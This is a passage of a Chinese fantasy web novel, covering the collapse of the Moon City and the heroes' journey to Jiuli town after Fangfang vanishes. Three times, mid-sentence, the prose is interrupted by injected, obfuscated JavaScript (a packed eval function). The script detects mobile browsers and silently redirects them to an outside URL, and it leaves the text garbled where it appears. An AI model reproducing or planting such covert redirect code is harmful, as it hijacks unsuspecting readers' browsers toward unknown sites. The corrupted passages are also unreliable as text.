紫苏杏目圆睁，“师父他竟然在理想城之中？” 然后如同恍然大悟一般，突然就喜上眉梢，就如孩童找到了自己心爱的玩具一般： “对，不错，这确实是师父最有 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“叶神官，这……” “两位，抱歉，将你们卷入这件事里来。但我叶下珠请求你们，可否将白芷与紫苏救出来，白芷没有修为，这城门坚持不了多久，一旦城门关闭，两个人都会死在里面！” “你们真是打的一手如意算盘，抓了方姑娘做祭品，又让我们两去给你们救人？”李星中一听，气不打一处来，忍不住的冷笑。 “我知道这是在强人之所难，但老城主对白芷情深义重，她没有修行，只能消耗自己的寿命维系理想城，如今已时日无多。她等不及了，生怕行差踏错，这才出此下策。请两位体谅白芷的一片心意！” 旁边何无盐面露难色，一边是生气，一边却又是想起在宫殿中白芷与她的一番对话。当时她只以为白芷必定与她师父的失踪脱不了干系，没想到其中却是一片真心。 李星中依然事不关己，高高挂起：“我们为何要体谅她的心意？她可曾尊重过我们这些‘贵客’？” 叶下珠一听，深知李星中不能以情动之，一咬牙一跺脚道：“而且若是白芷能平安回来，方姑娘只会感觉自己像是做了一场梦，绝不会对她有任何的损害。” “但白芷若是出不来，方姑娘也会被永远关在里面，与死了无异。两位还请三思啊！若是救月宫于水火之中，月宫必永远铭记两位的深明大义！” 何无盐痛骂：“你……卑鄙小人！” “说的真好听。为了一己私欲牺牲他人，事都做了还在这里假惺惺。”李星中冷冷地说道。 16. 月亮城（十） 何无盐开口道：“我且问你，老城主失踪与白芷有什么关系？” 叶下珠道：“老城主失踪当晚，她在现场。老城主说要去一趟理想城，之后就一直没有回来。白芷一直想去理想城之中寻找老城主，但只有城主才能打开大门，并且在神谕大典上以肉身进入理想城里。这就是白芷必须要当城主的原因。” “城主在夜晚降临之时可以夜游的方式进入理想城中，这几年白芷一直在以这种方式寻找老城主，但是理想城很大，而且没有地标，所以这个任务十分困难，对白芷的消耗也非常大。” “加上她几乎未曾修行，即使做了城主，她的力量也不足以打开城门，所以必须请方姑娘帮忙。” “为什么是方方？”何无盐突然问到，“我或者是星中师弟，修为更高，不是更好吗？” “这个……三位进城之时，是圣光选择了方姑娘。” “圣光？”此时何无盐想起第一次见到白芷的时候，确实有一道白色的光芒在他们三人中间摇来摆去，最后才落到方方的身上。 “你们那个时候就已经设下了圈套……”何无盐惊讶不已。 “而且这个能帮助城主打开理想城门的人，必须吃下月宫送来的食物，就是月桂籽。” “为何？” “方姑娘吃下第一次月桂籽时，尚觉得难以下咽；但是第二次再试，就已经觉得是人间美味。也就是说，她在潜移默化中，已经受到了月亮城的暗示，拥有成为城民的潜质，能得到月亮城的认可。也被月亮城认可的人，才有可能打开城门。” “这几日请几位住听风苑，上逐月楼，这两处一个是老城主的书房，一个是老城主的修行之地，这是为了使几位同老城主的气息同频，这样一来，就能借助相同的气息打开理想城的大门，并且凭借这一气息在城中找到老城主。而且赏月下舞的时候，方姑娘最为入迷，受催眠最深，所以资质上来说是最佳的。” 好呀，原来从一开始就是一场局。何无盐既恼怒自己被人欺骗，又气自己没有上心，毫无警惕之心。 何无盐忍着怒气问道：“那白芷既然未曾修行，她又如何将空间之力运用的如此得心应手？” 叶下珠看向理想城那繁复的大门，“看到这些发光的墙了吗？”整个月宫都在幽幽的发亮。 这些墙是由一种天外来石砌成的，称为月亮岩。 第一任城主无意之间与月亮岩定下了血契，之后便借用月亮岩打造出月亮城这个与世隔绝的地方。 而且由于血契的关系，在月亮城之内，城主拥有绝对的空间能力，可以凭借自己的心意，出现在任何地方，或者移动任何对象、听见任何一个地方的动静。 每届城主都会继承和月亮城签订的血契，这是城主立身的根本所在。 “为什么不让紫苏知道这件事，或者干脆就由紫苏来做这个城主？”李星中又问。 “紫苏其实对城主之位并不怎么感兴趣，而且她对外面的世界十分向往，一直想离开。只是没想到紫苏离开之后又回来了。尤其是老城主失踪之后，白芷三番四次让她离开，她却不走，而且此举反过来还加深了对白芷的怀疑，搞得姐妹生了嫌隙。” 李星中道：“看来，紫苏最在意的，并不是自由。” “最重要的是，白芷这么做其实也是为了保护紫苏。月亮城，并不是一个什么好地方，能早点离开是最好的。” 这边正说着，只见方方的面色越来越痛苦，整个人竟然发起抖来，又如坠云雾里，面目越加模糊，两人不知怎么办才好。 何无盐试图把雾挥散，却再一次把手伸到方方的身体里去，而且这次的触感更加奇怪，既滑不溜秋，又很柔软，诡异非常。 这时，理想城的城门逐渐在变得黯淡，大门也开始有关上的迹象。 叶下珠眉头紧蹙，两手相抱，对着两人行了一个大礼：“时间不多了，叶某人恳请两位出手相救，我月宫必有重谢！” 李星中事不关己地说：“你口口声声求我和师姐救人，你自己为什么不去？” 叶下珠无奈地笑道：“不是不想去，而是我一跨进那道大门，身体和意识都会被理想城夺走，根本就无法救人。” 说着取下了自己脸上的银色面具。 只见面具下的那部分呈轻微的粉红状，与皮肤的其他部分完全不能接合，而且似乎有些什么东西，在下面隐隐蠕动。 叶下珠面露痛苦之色：“其实我多年前应该就死了。除了城主之外，一般城民，只有死了才会进入到理想城里。他们的身体作为月亮岩成长的养料，意识则是理想城的供给。” 一股惊悚感爬上何无盐的背脊，“那这千余丈的城墙……” 叶下珠将面具带上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482328|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“不错，正是吸收了百年养分才成长为今日的样子。” 听完这话，何无盐与李星中都感觉到一阵恶寒，肠胃有阵阵不适。 何无盐紧皱着眉头，略微捂住了嘴。 “那你已经进入过理想城了？” 叶下珠点点头。 “可你安然无恙地出来了。” 叶下珠便解释道，当时他擅用神官的职权，想办法偷偷以血肉之躯进入理想城，获得赐福。 是老城主及时赶到，这才救他一命。 而他脸上的这个面具，是老城主给的，只要不步入理想城，就可以勉强隔绝双方的气息，是以他才能苟活到今日。 如今，他无法以任何形式触碰理想城，否则立刻就会被理想城吸收。就更不要谈营救之事了。 整个月宫的光芒在逐渐淡去，城门之间所留的空间也以肉眼可见的速度在缩小。 “两位少侠，我以月宫重宝献与二位，恳求少侠救救白芷与紫苏！” “你也三番四次说了，血肉之躯不可进入理想城，而且你自己就是个例子，要我们如何救人？” 叶下珠一听有戏，赶紧从袖中拿出一物，说：“两位请看，这是我月宫宝物，也是老城主的遗物，望舒羽衣。穿上此衣，就能进入理想城，而不被反噬。” “可是就算找到了她俩，她俩不肯回来又该如何？” 一块银白色的石头出现在叶下珠手掌中。 此物名为露白，是老城主研究出来的，也是叶下珠脸上面具的原材料。其天性与理想城相克，可以压制理想城的魔性。 眼看着方方似乎就要和她身上逐渐黯淡的光一起消失，何无盐硬着头皮同意了：“好。我帮你救人。但这只是为了救方方，而且我只能在自保的前提下尽力而为。” “何无盐！”李星中怒了。 叶下珠道：“一言为定，何少侠！此事结束，不论救人成功与否，望舒羽衣和露白都归二位所有，略表我月宫的心意！” 何无盐转头安慰李星中道：“星中师弟，送佛送到西，方方一开始是我救上岸的，对此事我需负责到底。你放心，我肯定会回来的。”说罢，便披上了羽衣。 没想到这羽衣似有生命，披上之后立刻就像长到了皮肤里一样，能够自由地随心意而动。何无盐抖擞抖擞周身，就消失在理想城门之中。 17. 月亮城（十一） 静，十分静。 只有一片死海，无穷无尽，好像飞不到头。水天一色，入眼一片淡红。没有声音，没有气味，没有光影的变换，没有任何运动的事物。偶尔有一两个水榭亭台，露出水面。 何无盐跟着羽衣，飞了不知道多久，看见了白芷，正在一处亭台水边。此时白芷受伤颇重，身上月华破碎，只能发出零碎的光芒，已没有初次见她时的华美。 “白芷！”何无盐落地，“跟我走，理想城大门要关闭了！” “何无盐……”白芷双眼有些空洞，忽而又用轻巧灵动的语气说道：“师父……我找不到师父了……” “老城主？他在何处？”何无盐目之所及，空无一人。 “他就在这里。”白芷双目茫然地望着眼前的红海。 何无盐吃了一惊。这红海之下，没有任何生命的气息。 犹豫了片刻，何无盐道：“白芷，我们先出去再说。” 她慢慢站了起来，“我不会走的。你走吧。” 只见紫苏从亭台的另一边出现，衣服多处破损，破损之处皮肤和脖子上一大块，也像叶下珠面具下的那部分一样，变为了淡粉色，其下似乎有些什么东西，在不断蠕动着。 “师父呢，白芷！” “他……已经变成这个地方的一部分了……” 紫苏不可置信，质问白芷道：“你说什么？师父到底在哪里？” “在死海之下。” 紫苏望着这片死海，“不可能，这不可能……师父年少成名，修为高深……而且理想城是最为神圣之地，怎么会变成死地？” 突然，她死死地盯着紫苏，道：“你明明已经走了，明明可以跟这个鬼地方毫无瓜葛，为什么要回来？” 紫苏不可置信地看着她。“你真的不希望我回来？”继而大怒，“你们什么都瞒着我，凭什么？白芷，你必须告诉我，这里到底是怎么一回事！”说着便向白芷扑了过去，没想到却扑了一个空。 白芷出现在紫苏的身后，“我现在仍然是城主，你碰不了我。”又对何无盐道：“你带着师姐走吧，何无盐，多谢你。” “不行，白芷，我必须带你们两个一起出去。” “我要毁了这个地方。”说着，她朝着死海走去。 何无盐赶忙说：“我为救方方而来，你若是不出去，方方就危险了。” “你放心，方姑娘不会有事。请方姑娘帮忙，本是为了打开城门，找到师父的所在。现在师父不在了，待到理想城城门关闭，方姑娘自然会醒来。” 她身上的光芒又一闪，然后暗了一些，也更为破碎，“这样就好了，不多时方姑娘就会醒来。你们快走吧。” 何无盐见状，心地又一软：“白芷，节哀。就算人已经不在了，你也应该爱惜自己，你师父若在，肯定不愿意见你如此。” “师父失踪之前，就发现月亮城的发展势态已经难以控制，希望能找到方法压制住它，没想到却反而着了它的道，我现在与此城玉石俱焚，也是完成师父的心愿。” 于是白芷浑身光芒大作，片刻之后，变成了无数的碎片，落入死海之中。 死海顿时沸腾，出现了非常刺耳的尖叫声，随后开始翻涌。在翻涌起来的浪花之中，似挤满了非人非鱼之物，长相丑陋异常，在互相的撕咬。 何无盐眼疾手快，抓住了紫苏，手上露白一现，两人被反弹回到理想城的门前。 “何无盐！”李星中赶紧上前，“你怎么样？” 何无盐轻轻摇着头，“我没事，”又对叶下珠道：“白芷她……我没有救回她来。” 叶下珠期待落空，眼神一下子失去了光，变得黯淡，但仍然勉强笑笑：“你尽力了。白芷是存了必死之 意。” “叶下珠，这到底是怎么回事？”紫苏痛苦地大喊。而她皮肤之下的东西，似乎蠕动的更加剧烈。 叶下珠安慰道：“紫苏，你冷静下来，听我跟你慢慢说，你现在伤势很重，不能激动，否则立马就会被理想城控制。” “理想城不是彼岸之地吗？不是灵魂的安息处吗？怎么会是这样？” “理想城，只是一个吃人的地方。” “不，不可能……” “最开始，你师父他偶然得到月亮岩，并与之签下血契，之后他利用月亮岩一手创立了月亮城，但没想到月亮岩的魔性越来越大，为了维持这个地方的基本运作，他花费了巨大的精力。” “那师父他……他真的在死海里……？” 叶下珠缓缓的点点头。 月亮岩经由百年血肉和精神的滋养，吞噬血肉和精神已成为其本性。 “你离开月亮城期间，月亮岩发作过好几次，差点将整个月亮城吞噬进理想城。老城主察觉到这其中的凶险，本想以一人之力压制，但却被反噬。” 月亮城没有城主的维系，马上就会崩塌，所以当时根本来不及举行继位大典。 “那……如果当时我在城里，白芷就不会成为城主了是吗？” “如果我能成为城主，这里就不会这么快崩溃，是吗？” 叶下珠迟疑了一会儿，然后转移了话题：“紫苏，你先别想这些。我手上还有露白打制的披风，先把你体内的异动压制住，有什么事我们之后再说好不好？” 然后他十分小心地走上前去，眼见就要为她披上披风，可是紫苏却突然十分惊悚，一把推开了叶下珠。 “我不相信，你说的这些都是在骗我！师父和白芷都在里面，他们就是想瞒着我，然后好抛下我去过二人世界！我不会让他们如愿的！我要去找他们问清楚！” 说罢，扭头向着理想城跑去。 “紫苏，不是的！他们希望你能自由！”叶下珠大喊。 三人正准备拦住她。 “你们听见了吗？理想城在唤我！在唤我！哈哈哈哈！” 紫苏身上的力量溢出来，甚至轻微地扭曲了她周身的空间。只一眨眼的功夫，她就到了城门前，双手轻抚了大门。 “师父，白芷，我来了！” 有那么一个瞬间，世界十分安静。 突然，理想城趋于关闭的城门，受到紫苏溢出力量的影响，上面繁复的花纹光芒大胜，发出了圣洁的白光，好像是在说：欢迎回家。 城门慢慢地打开了。 只是，这一次，淡红色占满了眼帘。 是死海，死海涌了出来！ 里面各式各样怪物疯狂搅动着海水，向理想城大门外扑过来。尖锐的叫声从死海中传出，此起彼伏。 眨眼之间，淡红色的海洋以铺天盖地、迅雷不及掩耳之势没过了紫苏，一下子就把她吞了进去。 “紫苏！”叶下珠声嘶力竭地喊道。 “方方！李星中！”两个人奔到石台前，可是一伸手还没触碰，方方身上却突然有一道印记，光芒大作。这道印记像太阳，又像眼睛，何无盐觉得十分熟悉，但是乍一看见就开始头疼无法行动。 最后方方消失为一个点，不见了。 何无盐傻眼了，“方方！” “师姐快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482329|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走！”李星中捞起何无盐，即刻飞离地面。 看着叶下珠就要被死海吞没，李星中心虽不忿，但仍然带上了他，三人远离了喧嚣沸腾的死海。 远处乌鸦鸦的人群传来一阵骚乱：“快看！快看呐！” “神主显灵啦！” “感谢城主！” “神主在上！”甚至有人欢欣雀跃地朝着这边跑来。 而另外有些人，则一脸惊恐地往后退。 只见理想城门大开，淡红色的海水掀起滔天巨浪，将人的目光全部遮挡。 初时极缓，极慢，但是突然一下子就到了眼前，来不及言语，一切都消失了。人群，城镇，街道，摊贩，打铁铺……一切都掩埋在这片海里。 同时，月宫和月亮城在颤抖。 首先是理想城，然后是月宫，最后是那千余丈的城墙，只听“轰隆”一声巨响，又接着一声。 “城墙，城墙掉下来了！快跑呀！”人群里一片慌乱，私下奔跑，踩踏推搡，尖叫声和死海的叫声混杂在一处，场面非常混乱。这些人终于认识到，这不是神主显灵，而是这座城即将要迎来自己的死亡。 “救命啊！救命啊！” 但是也有些人，仍然匍匐在原地。他们闭上了双眼，神情虔诚，等待最后一刻的来临。 “神主显灵了！理想城要降世了！” 整座城在下陷。 地面如同地震了一般，裂开了一道道巨大的缝隙，而缝隙中，渗出了淡红色的海洋，好像是大地迸裂的伤口在流血。有的人掉进了这道缝隙之中，有的人则掉进了海水之中。 “怪物！怪物！”有的人还有一半露在海水之外，惊声叫喊，继而逐渐被吞没。 海水透明，只见海下，影影绰绰，似乎能有很多东西纠缠在一起，若是有人落入，就一拥而上。 刘铁匠在海面挣扎着。刘铁匠毕生打铁，一身的力气，老当益壮，也算得上神勇。只见他面上的表情十分狰狞，但手上却抓住了什么，两手往外一拉，有什么东西被撕开了。 可是这似乎只是进一步刺激了海面下的那些东西，在他身下，不明生物聚集起来，红色的阴影越来越深。那些东西正将他缠绕住，甚至发出了痛苦的喊叫，将他往海水里拖拽。 几秒钟的功夫，刘铁匠已经没入水中。 “妈妈！”那个脖子上挂着金锁的小男孩大声叫喊。他胸口以下已经没入海水。 “抓住我！”何无盐御剑而来，紧紧地握住了小男孩的手。何无盐试图把他拽起来，可是自己却在下沉。 李星中身后的叶下珠沉声道：“没用的，他已经被吞噬了。” 刚一说完，他的眼睛已经变成了淡红色，朝着何无盐的手张开了血盆大口。 何无盐被吓了一跳，甫一放手，他整个人就消失在海水之中。 千余丈的城墙轰隆隆倒塌，好像平地无数惊雷，与裹挟着毁天灭地之势的海啸，一起迎来这座城的末日。 城市缓缓地下陷，响声百里外可闻，惊动了无数生灵。 飞禽走兽，蛇虫鼠蚁，都在拼命逃离这个地方，形成一股洪流，向着四周席卷而去，带起大量的尘土，显现出一个壮观而奇特的景象。 倒塌的城墙，下陷的地基，慌乱奔逃的生命，引起一阵阵巨大的灰尘，漂浮起的烟土达数十里，遮天蔽日。 三个时辰以后，一切动静终于消失，地上只留下了一个巨大的深坑，而深坑之中，还有一个更深的弯月形巨坑。月亮城，月宫，白芷，紫苏……一切都随之消失了。 18. 月亮城（十二） 三人站在高地上看着这一切，沉默不语。 何无盐还处在巨大的惊骇之中。 李星中问到：“怎么会这样？白芷姑娘做了什么？” “城主与月亮岩签订契约，若是城主死亡，月亮岩也会随即瓦解。所以历届城主都会在死亡之前举行换届仪式。白芷为了与这个地方玉石俱焚，选择自行了断，月亮城也就随之崩塌。” “白芷姑娘为何会选择玉石俱焚？” 叶下珠苦涩一笑，眼中悲恸闪过：“她……她从知道真相之后，就一直很厌恶此地。大概老城主的失踪让她下定了这个决心。可是她从来没有告诉过我。早知如此，还不如让月亮城老城主在失踪的时候就崩塌，至少白芷和紫苏还能活着。” “那……老城主呢？” “白芷进去以后找不到老城主，只能感受到死海表面弥散着老城主的气息。所以推测应该已经化为死海里的那些无意志的怪物了。” 何无盐脑海里一会儿是白芷幻化成月光的样子，一会儿又是紫苏朝着死海奔跑的样子。这就是视死如归吗？ 但现在不该想这些。 何无盐满腔愤怒：“叶下珠，对于月亮城，对白芷和紫苏，我很抱歉，我尽力了。但是你们从一开始就承诺过我，方方绝不会有事，可是现在方方呢？” 叶下珠一脸愧疚之色，道：“何少侠，方姑娘……她确实是消失了……也许是她与理想城的联系仍然在……” “你！”何无盐此刻愤怒到了极点，“那你是说她也跟着理想城一起彻底没了？” “这个……” “我就不应该相信你们！”悔恨，懊恼，自责……怎么上过一次当，却还要上第二次！天底下还有她这么蠢的人吗？在同一个地方摔跤压根就不长记性！ 看着地上那个巨型坑中坑，何无盐内疚之情涌上心头，“活要见人，死要见尸，就算掘地三尺也要给我把人找出来！” “不！何少侠你别急！”叶下珠好像突然想起来了什么，急忙道，“若是方姑娘随着理想城同时消失，那就毫无生机可言。但现在方姑娘是在理想城毁灭之前消失的，你想，是不是这样？” “不错，死海溢出之时，她就消失了。” “所以我想，方姑娘一定还活着。你还记得方姑娘消失前身上出现的那个印记吗？” 那个印记……的确很特别，而且隐隐给何无盐一种熟悉的感觉。“记得。” “这个印记我也曾在老城主那里见过一次，但我确定那并非月亮城之物……方姑娘也许没死。” “既然没死，那她现在身在何处？” “我记得老城主是在九里镇找到这一印记的……若是去九里镇，必然能找到线索。” “谁能知道你又不是在骗我们？” “何少侠，我绝不敢有所欺瞒，更不敢有所欺骗。若说之前为了白芷，为了紫苏，我还有欺骗你们的理由，现在她们已死，月亮城也毁了，我没有任何动机来欺骗二位。” “空口无凭，叫我们如何信你？” 叶下珠面露难色，一时也不知该怎么办才好。 何无盐突然灵光一闪，道：“搜神术！” “搜神术！对！此法可以搜索人的记忆，只不过对施术者来说极为耗神，也容易出岔子，一有不慎，被施术者容易出现记忆错乱。” “好，我愿意配合二位使用搜神术。” 既已如此，李星中为护法，何无盐双手结印，耗费了半个时辰有余，查证了叶下珠的这部分记忆，确认此情报无误。 何无盐对李星中道：“星中师弟，虽然还有师命在身，但是方方之事因我而起，又因为我轻信大意，导致她下落不明，我良心不安，无法撒手不管。你或先去与师叔他们汇合，我待找到了方方，再去找师叔解释此事。” 李星中却一口回绝：“师姐，此事我也有份，救人救到底，没有方姑娘的踪迹，我也于心不安。我们还是一同前去吧。” 何无盐闻言，沉思了半刻对他轻轻地点了点头。 对着叶下珠，何无盐又有些心软，“叶下珠，你现在已没有了立身之地，该何去何从？” 叶下珠指了指远处的一处黑影，那里人群三三两两的，或坐或站，或哭或笑，看着总归不太正常。 何无盐问：“那些人是？” 听他道：“白芷运用空间之力转移了城众，只是力量瓦解太快，只有成功了一小部分。现在，我得带着剩下这部分人想办法活下去。” 何无盐看着那群疯疯癫癫的人，想起之前城众那些神神叨叨的行为举止，有些不解，“可是，他们精神上才遭受了巨大的打击，而且失去了亲人，家人，朋友，还有安身立命的地方，他们能接受现状吗？” 叶下珠呵呵一笑，“其实真正有发自内心信仰人虽然有，但不多，多数人只是惯性使然、受到环境的驱使罢了。人的生命力很顽强的，他们既然侥幸逃生，自然也能活下去。” “至于望舒羽衣和露白，就按照约定，赠与二位了。” 远处，一些小孩子在草坪上踩来踩去，互相追逐嬉戏，十分开心的样子。甚至还有胆子肥的，试图爬进坑里，被大人制止了。 何无盐闻言若有所思，倒是觉得别开生面，与李星中抱拳道，“好，既然如此，那我们就此别过。” “珍重。叶下珠代表月宫向两位献上最诚挚的祝福！”身后叶下珠向着二人行了一个大礼。 代表月宫……那还是算了吧，何无盐心想。这地方太诡异了，被这地方祝福……谁知道是好事还是坏事呢？ 到了九里镇，人来人往。 何无盐有点恍惚。好像是到了三青山的脚下。看见有人卖首饰，她走上前去道：“李姨，你的镯子最近有进新货吗？” 卖首饰的摊贩抬起头来，却是一个面善的老爷爷，胡子和眉毛都花白了。 听见被人喊错，倒也不生气，和蔼地问道：“小姑娘，你想要什么样式的呀？” “我……我可以挑一个吗？” 老爷爷一听，以为何无盐要买，笑眯眯地说，“当然可以了。” “这个。”何无盐扫了一眼，凭着直觉选了一个，拿在手里揣摩了半天，“真漂亮。谢谢李姨。”从头到尾，连头也没抬一下，就准备走了。 何无盐受到月亮城一事的冲击，又使用了搜神术，消耗太大，有些分不清现实和记忆，把卖首饰的老头当做了收养她的李姨。 恰好，李星中找客栈正好折了回来，看见了这一幕：“老爷爷。我替她付了。”说着把钱给了他。 老人家笑眯眯道：“没关系，不收钱。”但手上也没拒绝。李星中一边喊着，“何无盐”，一边拉着她进了客栈，直上二楼，扶她躺下。 “师姐，你休息一会儿。” “知道了，真啰嗦。别烦我。”然后她躺在床上翻了个身。 李星中无奈地笑笑，给她盖好了被子，坐在了床边，看了她一会儿。此时的何无盐白皙的皮肤里透着红润，有一股婴孩的安详。 不多片刻，就听见两个悠长而均匀的呼吸声，直到第二天清晨。 鸡鸣随着太阳东升而响起，十分嘹亮。 何无盐最先醒来。 她感觉脸上温温的，以为是何无奇这小子在胡闹，嘟囔着骂了他一通。 可是……不对呀……何无奇这小子，怎么可能起的比我还早？他能不赖到日上三竿就不错了！ 两眼一睁。这是一张有点陌生的脸。 轮廓分明，皮肤白净。太阳光穿过窗，懒洋洋地映在两人的脸上。在这光影映衬下，这张脸错落有致，硬朗又不失柔和。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482330|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >嗯，好像也说得上俊朗。 何无盐仔细地端详了半天，突然觉得眼熟，心里一惊：这不是李星中吗？！往后一缩，却被身后的硬物硌着了。拿出来一看，是一个银镯子，纯银偏软，雕饰却繁古。 何无盐紧张半天，但是对方却没有动静。没发现就好……便端详起这个镯子来，依稀想起好像是昨天买下的，但……好像没付钱？对，当时应该是拿着镯子就走了吧，似乎是李星中付的…………不是，李星中怎么和我躺一张床上！惊的她又突然坐起。 这不合规矩！何无盐胆战心惊地迈过李星中下了床，没想到悠悠的一声传来：“何无盐。” 何无盐浑身一震，然后强作镇定道：“师弟，你醒了。休息的可好？” “还不错。” 何无盐迈过他，道：“我休息的也还不错，很久没有这么踏实的睡过一觉了，醒来精神很不错。” “这看着也已辰时，正是练功的好时机，师弟你可莫要错过了。不妨告诉你，朝云神功要想精进，必得在清晨。” “从大日东升，练至此时，就可走遍七个周身，巩固根基，还可以觅得突破的机会。我凭着这个法子，连破三关，这还是师父告诉我的。师兄他们问我是怎么做到的，修行进境如此之快，我告诉他们这个法子他们还不相信呢……”不过这第四重她就卡了很久，数十年也未得突破。 片刻沉默。 “师姐？” “嗯，不知道你们清一门练功讲不讲究时辰？ “我们倒没有这个说法。随心而动即可。” “哦，怪不得你睡到这个时辰……可是，你怎么睡在……”我旁边？何无盐实在是忍不住，多嘴问了一句。 李星中道：“嗯，应该是昨日太累了，本来只是靠在床边的，没想到却睡着了。醒来才发现自己……抱歉师姐。” 何无盐有些生气，手里又突然摸到镯子。他本可以去找林师叔，却一路陪着自己到这里，待发作的怒火又卸了几分。只能道：“这几日也辛苦你了。我们再定一间上房，免得睡着太挤。” “嗯。我本是定了两间房的。” “这个镯子……多少钱？” “师姐，这点小东西，你拿着玩儿吧，不必在意。” 可拿着却觉得有些烫手。得想个法子还给他。这么想着，丹田处开始隐隐作痛起来。 两人便在客栈住下。何无盐画下方方消失时出现的花纹，和李星中一起在镇上寻问了一整天，可是却无一人见过这种花纹。 “也不知方方怎么样了。”何无盐很担心。“白芷只是说借用一下方方，能把人给我原模原样还回来；叶下珠也是这么说。若他们没有说谎，那就是有第三方势力介入，可是这第三方势力究竟为什么要拐走方方？她一个手无缚鸡之力的弱女子，能有什么用？” “嗯，这倒是也不必担心。若方姑娘有生命危险，那早就出事了，担心无用；若她当时没死，想来她对别人还有点用，也还能活一段时间。” “你这算是安慰吗？那倘若她又落到了什么荒郊野外，凭她一个人如何生存？”何无盐没好气。 “方姑娘终究来历不明，身上有太多疑点。寻常人根本无法进入三青山脉，她怎么会出现在那里？而且她是从河底翻上来的，师姐你那一剑竟然没有伤及她丝毫，她又未曾修行，这是如何做到的？再说她术数的造诣颇高，不可能师出无名……这种种应该不是巧合，我想冥冥之中必有定数，我们会找到她的。” 这时，窗外鸡飞狗跳，吆喝大作，分外热闹，两人都被这声音吸引过去。仔细一看，是好几个走夫贩卒穿过后巷，其中一个带着几只鸡，引得隔壁院的狗狂吠不止。 何无盐想了想，道：“这好像是有赶集。要不去看看？说不定能找到什么线索。”李星中点点头，“好。” 19. 回礼 到了地方，何无盐就闻到了馄饨的香气。她食指大动，便要来两碗。李星中坚决不吃，她只能独享美食。囫囵两口下肚，只觉得鲜香无比。吃完了又见街上有裹油饼的，又要了两个。这条街上吃的很多，一炷香时间过了，半条街没走过去。两人一路走着，何无盐就一路吃着。 “师姐，你今日吃的是不是也太多了？” 何无盐想了想，“好像是有点。不过你怎么什么都不吃？” 李星中无奈，“我们本来就已经辟谷了。师姐你吃这么多才奇怪吧？” “可能是这几日都没有修行的缘故吧。以前是靠着修行吐故纳新，不休息不吃饭也没事，这几日消耗又大，总感觉肚子里空的很。你呢？这几日也累了吧，真的不饿吗？来一点？” 李星中摇摇头，“我睡觉已经足够。” 不远处，有人叫卖葡萄，何无盐又来了一斤。 “这个季节怎么就有葡萄？” “姑娘这就不知道了，我们这儿啊，地热。据说离这几百里地有地火，所以总比其他地方暖一些，水果可不就成熟的快嘛。” “地火？听起来倒是挺有意思。” 小贩赶紧摆摆手，“哎哟姑娘，可不能好奇，危险着呢。虽然相传地火附近藏有宝藏，但是地火会焚烧人的七魂六魄，让人永世不得超生的。” “既然你这么说，想必是有人见过这地火？见过的人又怎样了呢？”李星中问。 “去的人没一个回来的，更别说宝藏了。影子都没见着。这远的不说，就说我们这里有一个走货的孙二郎，每年来两次。孙二郎自己说家境不好，母亲又常年生病，为了治病搞得家徒四壁，所以他去年就到处打听这地火的消息。可是结果怎么样？去年啊，他就没来过九里镇。这是失踪了呀。” “还有这种事。” “就是。还说那地火方圆十里，草木不生，可邪门了。我看你们二位，也是大户人家出身的，不缺这个钱，咱也别冒这个险。” 说话间，人群好像都往一处去。 “孙二郎回来了。” “什么？就是那个走货的孙二郎？” 卖葡萄的小贩一惊，“什么？！他竟然回来了？！” “他好像带回来不得了的宝贝呀。” “快走！去看看去！”葡萄商贩摊子一撂下，跟着人群跑了。 两人对视一眼，便跟着人群走了上去。此事蹊跷，这孙二郎若真是从此等诡异之地返还，跟方方失踪之事有关也未可知。不过何无盐也有几分私心，想着若有什么宝贝，还可以挑一两件给何无奇和李星中。何无奇他们现在也不知道到哪里了，魔教之事是否有消息了？ 这么一想，已来到孙二郎摊前。 人群将孙二郎围得水泄不通。他支的地摊上最引人注目的是三块脸盆大小的石头，前两块露出至少三分之一的玉面，一块是白脂玉，晶莹无暇，一块是翡翠色，水色透亮，还有最后一块只露出了少许，白玉里掺了丝丝的血色。其他就是一些大小不一石块，或多或少露出些玉面来，按照尺寸从小到大，从左到右归置为三堆，放在大石之前。 孙二郎见人多了，就开始吆喝起来。“大难不死，必有后福；奇珍异宝，任君挑选！十文钱，只要十文钱，买不了吃亏买不了上当！”周围嘀咕声不少。 “不是奇珍异宝吗？怎么只要十文钱。” “诸位诸位，这都是从地火附近找到的玉石，只不过量太大，我孙二郎无福消受。现在家母病极，需要钱财买药，这么多宝贝，只待有缘人呐！” “这些玉石，据说可都是修行者的宝贝！” 不过任凭孙二郎锣敲得震天响，人群也只是在旁议论纷纷，却没有一个有意上前。大家平日里都穷的叮当响，哪里见过这些。 